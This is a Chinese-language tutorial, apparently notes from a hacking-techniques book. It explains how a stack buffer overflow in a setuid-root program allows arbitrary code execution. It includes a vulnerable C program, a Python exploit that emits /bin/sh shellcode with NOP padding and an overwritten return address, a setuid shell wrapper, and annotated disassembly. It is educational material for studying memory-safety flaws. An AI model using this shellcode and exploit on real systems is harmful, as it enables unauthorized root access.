《黑客攻防技術-系統實戰》--利用緩沖區溢出執行任意代碼


讓普通用戶用管理員權限運行程序

原理:

  Linux FreeBSD 中有一個用來修改密碼的命令“passwd”。 密碼一般保存在 /etc/master.passwd/etc/passwd /etc/shadow 等中, 沒有 root 權限的用戶是無法修改這些文件的。

       然而, 如果只有 root 才能修改密碼, 使用起來就會很不方便, 於是我們需要一個機制讓普通用戶也能夠臨時借用管理員權限, 這個機制就是setuidsetuid 的功能是讓用戶使用程序的所有者權限來運行程序 

實例測試

 1 #include <unistd.h>
 2 #include <sys/types.h>
 3 int main(int argc, char *argv[])
 4 {
 5   char *data[2];
 6   char *exe = "/bin/sh";
 7   data[0] = exe;
 8   data[1] = NULL;
 9   setuid(0);
10   execve(data[0], data, NULL);
11   return 0;
12 }

root 權限編譯該程序, 然后設置 setuid

gcc -Wall pass.c -o pass

如果可以以root權限進程shell操作,后果也是很嚴重的

  

獲取root權限 

 1 #include <stdio.h>
 2 #include <string.h>
 3 unsigned long get_sp(void)
 4 {
 5     __asm__("movl %esp, %eax");
 6 }
 7 int cpy(char *str)
 8 {
 9     char buff[64];
10     printf("0x%08lx", get_sp() + 0x10);
11     getchar();
12     strcpy(buff, str);
13     return 0;
14 } 
15 int main(int argc, char *argv[]){
16     cpy(argv[1]);
17     return 0;
18 }
 1 #!/usr/local/bin/python
 2 
 3 import sys
 4 from struct import *
 5 if len(sys.argv) != 2:
 6     addr = 0x41414141
 7 else:
 8     addr = int(sys.argv[1], 16)
 9 s = ""
10 s += "\x31\xc0\x50\x89\xe0\x83\xe8\x10" # 8
11 s += "\x50\x89\xe3\x31\xc0\x50\x68\x2f" #16
12 s += "\x2f\x73\x68\x68\x2f\x62\x69\x6e" #24
13 s += "\x89\xe2\x31\xc0\x50\x53\x52\x50" #32
14 s += "\xb0\x3b\xcd\x80\x90\x90\x90\x90" #40
15 s += "\x90\x90\x90\x90\x90\x90\x90\x90" #48
16 s += "\x90\x90\x90\x90\x90\x90\x90\x90" #56
17 s += "\x90\x90\x90\x90\x90\x90\x90\x90" #64
18 s += "\x90\x90\x90\x90"+pack('<L',addr) #72
19 sys.stdout.write(s)

測試:

sample3.c 的 cpy 函數會將輸入的字符串原原本本地復制到一塊只有 64字節的內存空間中。 由於字符串是由用戶任意輸入的, 因此如果將
exploit.py 的輸出結果輸入給 sample3.c, 我們就成功地以所有者(root)權限運行了 /bin/sh

 

如何執行任意代碼

 1 #include <stdio.h>
 2 void func(int x, int y, int z)
 3 {
 4     int a;
 5     char buff[8];
 6 } 
 7 int main(void)
 8 {
 9     func(1, 2, 3);
10     return 0;
11 }

反匯編:

加-m32

 1     .file    "sam.c"
 2     .text
 3     .globl    func
 4     .type    func, @function
 5 func:
 6 .LFB0:
 7     .cfi_startproc
 8     endbr32
 9     pushl    %ebp
10     .cfi_def_cfa_offset 8
11     .cfi_offset 5, -8
12     movl    %esp, %ebp
13     .cfi_def_cfa_register 5
14     subl    $24, %esp
15     call    __x86.get_pc_thunk.ax
16     addl    $_GLOBAL_OFFSET_TABLE_, %eax
17     movl    %gs:20, %eax
18     movl    %eax, -12(%ebp)
19     xorl    %eax, %eax
20     nop
21     movl    -12(%ebp), %eax
22     xorl    %gs:20, %eax
23     je    .L2
24     call    __stack_chk_fail_local
25 .L2:
26     leave
27     .cfi_restore 5
28     .cfi_def_cfa 4, 4
29     ret
30     .cfi_endproc
31 .LFE0:
32     .size    func, .-func
33     .globl    main
34     .type    main, @function
35 main:
36 .LFB1:
37     .cfi_startproc
38     endbr32
39     leal    4(%esp), %ecx
40     .cfi_def_cfa 1, 0
41     andl    $-16, %esp
42     pushl    -4(%ecx)
43     pushl    %ebp
44     .cfi_escape 0x10,0x5,0x2,0x75,0
45     movl    %esp, %ebp
46     pushl    %ecx
47     .cfi_escape 0xf,0x3,0x75,0x7c,0x6
48     subl    $4, %esp
49     call    __x86.get_pc_thunk.ax
50     addl    $_GLOBAL_OFFSET_TABLE_, %eax
51     subl    $4, %esp 52     pushl    $3
53     pushl    $2
54     pushl    $1
55     call    func
56     addl    $16, %esp
57     movl    $0, %eax
58     movl    -4(%ebp), %ecx
59     .cfi_def_cfa 1, 0
60     leave
61     .cfi_restore 5
62     leal    -4(%ecx), %esp
63     .cfi_def_cfa 4, 4
64     ret
65     .cfi_endproc
66 .LFE1:
67     .size    main, .-main
68     .section    .text.__x86.get_pc_thunk.ax,"axG",@progbits,__x86.get_pc_thunk.ax,comdat
69     .globl    __x86.get_pc_thunk.ax
70     .hidden    __x86.get_pc_thunk.ax
71     .type    __x86.get_pc_thunk.ax, @function
72 __x86.get_pc_thunk.ax:
73 .LFB2:
74     .cfi_startproc
75     movl    (%esp), %eax
76     ret
77     .cfi_endproc
78 .LFE2:
79     .hidden    __stack_chk_fail_local
80     .ident    "GCC: (Ubuntu 9.3.0-10ubuntu2) 9.3.0"
81     .section    .note.GNU-stack,"",@progbits
82     .section    .note.gnu.property,"a"
83     .align 4
84     .long     1f - 0f
85     .long     4f - 1f
86     .long     5
87 0:
88     .string     "GNU"
89 1:
90     .align 4
91     .long     0xc0000002
92     .long     3f - 2f
93 2:
94     .long     0x3
95 3:
96     .align 4
97 4:

紅色標記將參數入棧,然后call 執行fun函數;和 jmp 不同, call 必須記住調用時當前指令的地址, 因此在跳轉到子程序的地址之前, 需要先將返回地址(ret_addr) push 到棧中。

當調用 func 函數時, 在跳轉到函數起始地址的瞬間, 棧的情形如下圖所示

程序又執行了 push ebp, esp 繼續遞減, 為函數內部的局部變量分配內存空間

如果數據溢出:
數組 buff 后面的 %ebp、 ret_addr 以及傳遞給 func 函數的參數都會被溢出的數據覆蓋掉

ret_addr 存放的是函數邏輯結束后返回 main 函數的目標地址。 如果覆蓋了 ret_addr, 攻擊者就可以讓程序跳轉到任意地址。 如果攻擊者事先准備一段代碼, 然后讓程序跳轉到這段代碼, 也就相當於
成功攻擊了“可執行任意代碼的漏洞


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM